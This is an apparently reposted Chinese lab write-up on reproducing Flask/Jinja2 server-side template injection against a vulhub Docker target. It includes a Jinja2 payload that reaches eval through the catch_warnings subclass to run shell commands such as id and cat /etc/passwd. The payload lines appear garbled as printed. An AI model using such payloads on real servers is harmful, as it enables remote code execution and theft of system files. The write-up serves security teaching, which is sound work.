这种漏洞你的服务器存在吗?

admin 2026-01-31 02:13:19 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细介绍了Flask框架中Jinja2服务端模板注入SSTI漏洞的原理与复现过程。文章通过构建Docker靶场,演示了如何利用SSTI漏洞执行Python命令并读取服务器敏感文件。核心在于利用catch_warnings子类绕过限制调用eval函数。实验旨在帮助读者理解模板注入风险,提升Web应用安全防御能力。 综合评分: 83 文章分类: 漏洞分析,WEB安全,漏洞POC,渗透测试,实战经验


cover_image

这种漏洞你的服务器存在吗?

原创

建哥聊安全 建哥聊安全

建哥聊安全

2026年1月30日 16:16 湖南

Flask(Jinja2)服务端模板注入(SSTI)漏洞

实验目的

通过本实验,掌握服务端模板注入(SSTI)漏洞原理和利用方法,利用命令执行漏洞获取敏感信息。

实验环境

·操作机:Win10 用户名:Administrator 密码:Sangfor!7890

·靶机:Ubuntu + docker 用户名:root 密码:Sangfor!7890

·实验地址:http://靶机ip:8000?name={{233*233}}

实验原理

注入类型的漏洞,常见Web注入有:SQL注入,XSS注入,XPATH注入,XML注入,代码注入,命令注入等等。注入漏洞的实质是服务端接受了用户的输入,未过滤或过滤不严谨执行了拼接了用户输入的代码,因此造成了各类注入。而服务端模板注入和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为Web应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。 Flask是一个使用Python编写的轻量级Web应用框架。其WSGI工具箱采用Werkzeug,模板引擎则使用Jinja2。

实验步骤

第一步启动目标靶机的环境

1、登陆”Flask”靶机,执行如下命令,进入目标环境所在目录

cd /vulhub-master

cd flask

cd ssti

2、执行以下命令,运行目标靶机的环境

docker-compose up -d

3、登录“Attack”操作机,打开浏览器,访问http://靶机ip:8000,看到Hello页面,说明靶机环境启动成功

第二步漏洞复现

4、通过“Attack”操作机的浏览器访问http://靶机ip:8000?name={{233*233}},得到54289,说明SSTI漏洞存在

5、将name参数的值更换为如下代码(获取eval函数并执行任意python代码的POC),执行命令成功

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__ == ‘catch_warnings’ %}

{% for b in c.__init__.__globals__.values() %}

{% if b.__class__ == {}.__class__ %}

{% if ‘eval’ in b.keys() %}

{{ b‘eval’.read()’) }}

{% endif %}

{% endif %}

{% endfor %}

{% endif %}

{% endfor %}

 6、将上一步所用POC代码中的“id”处修改为“cat /etc/passwd”,即:

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__ == ‘catch_warnings’ %}

{% for b in c.__init__.__globals__.values() %}

{% if b.__class__ == {}.__class__ %}

{% if ‘eval’ in b.keys() %}

{{ b‘eval’.read()’) }}

{% endif %}

{% endif %}

{% endfor %}

{% endif %}

{% endfor %}

实验总结

通过本实验,通过复现Flask(Jinja2)服务端模板注入(SSTI)漏洞,了解模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程,服务器模板中拼接了恶意用户输入导致各种漏洞。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:建哥聊安全 建哥聊安全 建哥聊安全《这种漏洞你的服务器存在吗?》

评论:0   参与:  0